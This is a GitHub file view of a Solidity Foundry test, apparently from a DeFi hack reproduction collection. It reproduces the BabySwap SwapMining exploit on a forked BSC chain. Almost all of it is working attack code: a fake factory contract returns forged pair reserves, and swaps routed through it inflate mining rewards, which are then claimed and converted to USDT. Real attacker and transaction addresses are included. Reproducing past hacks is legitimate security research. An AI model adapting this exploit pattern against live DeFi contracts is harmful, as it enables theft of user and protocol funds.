forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BabySwap_exp.sol
133 lines (114 loc) · 5.19 KB
/
BabySwap_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./../interface.sol";
// @KeyInfo
// Attacker : 0x0000000038b8889b6ab9790e20FC16fdC5714922
// Attack Contract : https://bscscan.com/address/0xde7e741bd9dc7209b56f1ef3b663efb288c928d4
// Vulnerable Contract : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636
// Attack Tx : https://bscscan.com/tx/0xcca7ea9d48e00e7e32e5d005b57ec3cac28bc3ad0181e4ca208832e62aa52efe
// @Info
// Vulnerable Contract Code : https://bscscan.com/address/0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636#code
// @Analysis
// Twitter BlockSecTeam : https://twitter.com/BlockSecTeam/status/1576441612812836865
interface IBabySwapRouter {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] memory path,
address[] memory factories,
uint256[] memory fees,
address to,
uint256 deadline
) external;
}
interface ISwapMining {
function takerWithdraw() external;
}
contract FakeFactory {
address Owner;
IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);
constructor() {
Owner = msg.sender;
}
// fake pair
function getPair(address, /*token1*/ address /*token2*/ ) external view returns (address pair) {
pair = address(this);
}
// fake pair
function getReserves() external pure returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) {
reserve0 = 10_000_000_000 * 1e18;
reserve1 = 1;
blockTimestampLast = 0;
}
function swap(uint256, /*amount0Out*/ uint256, /*amount1Out*/ address, /*to*/ bytes calldata /*data*/ ) external {
if (WBNB_TOKEN.balanceOf(address(this)) > 0) WBNB_TOKEN.transfer(Owner, WBNB_TOKEN.balanceOf(address(this)));
// if(USDT_TOKEN.balanceOf(address(this)) > 0) USDT_TOKEN.transfer(Owner, USDT_TOKEN.balanceOf(address(this)));
}
}
contract ContractTest is Test {
IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
IUSDT constant USDT_TOKEN = IUSDT(0x55d398326f99059fF775485246999027B3197955);
IERC20 constant BABY_TOKEN = IERC20(0x53E562b9B7E5E94b81f10e96Ee70Ad06df3D2657);
IBabySwapRouter constant BABYSWAP_ROUTER = IBabySwapRouter(0x8317c460C22A9958c27b4B6403b98d2Ef4E2ad32);
ISwapMining constant SWAP_MINING = ISwapMining(0x5c9f1A9CeD41cCC5DcecDa5AFC317b72f1e49636);
address constant BABYSWAP_FACTORY = 0x86407bEa2078ea5f5EB5A52B2caA963bC1F889Da;
function setUp() public {
vm.createSelectFork("bsc", 21_811_979);
// Adding labels to improve stack traces' readability
vm.label(address(WBNB_TOKEN), "WBNB_TOKEN");
vm.label(address(USDT_TOKEN), "USDT_TOKEN");
vm.label(address(BABY_TOKEN), "BABY_TOKEN");
vm.label(address(BABYSWAP_ROUTER), "BABYSWAP_ROUTER");
vm.label(address(SWAP_MINING), "SWAP_MINING");
vm.label(BABYSWAP_FACTORY, "BABYSWAP_FACTORY");
vm.label(0xE730C7B7470447AD4886c763247012DfD233bAfF, "USDT_BABY_BABYPAIR");
}
function testExploit() public {
emit log_named_decimal_uint(
"[Start] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 18
);
(bool success,) = address(WBNB_TOKEN).call{value: 20_000}("");
require(success, "Transfer failed.");
WBNB_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);
BABY_TOKEN.approve(address(BABYSWAP_ROUTER), type(uint256).max);
// create fakefactory
FakeFactory factory = new FakeFactory();
// swap token to claim reward
address[] memory path1 = new address[](2);
path1[0] = address(WBNB_TOKEN);
path1[1] = address(USDT_TOKEN);
address[] memory factories = new address[](1);
factories[0] = address(factory);
uint256[] memory fees = new uint256[](1);
fees[0] = 0;
BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path1, factories, fees, address(this), block.timestamp);
// swap token to claim reward
address[] memory path2 = new address[](2);
path2[0] = address(WBNB_TOKEN);
path2[1] = address(BABY_TOKEN);
BABYSWAP_ROUTER.swapExactTokensForTokens(10_000, 0, path2, factories, fees, address(this), block.timestamp);
// claim reward token
SWAP_MINING.takerWithdraw();
_BABYToUSDT();
emit log_named_decimal_uint(
"[End] Attacker USDT balance before exploit", USDT_TOKEN.balanceOf(address(this)), 18
);
}
/**
* Auxiliary function to swap all BABY to USDT
*/
function _BABYToUSDT() internal {
address[] memory path = new address[](2);
path[0] = address(BABY_TOKEN);
path[1] = address(USDT_TOKEN);
address[] memory factories = new address[](1);
factories[0] = BABYSWAP_FACTORY;
uint256[] memory fees = new uint256[](1);
fees[0] = 3000;
BABYSWAP_ROUTER.swapExactTokensForTokens(
BABY_TOKEN.balanceOf(address(this)), 0, path, factories, fees, address(this), block.timestamp
);
}
}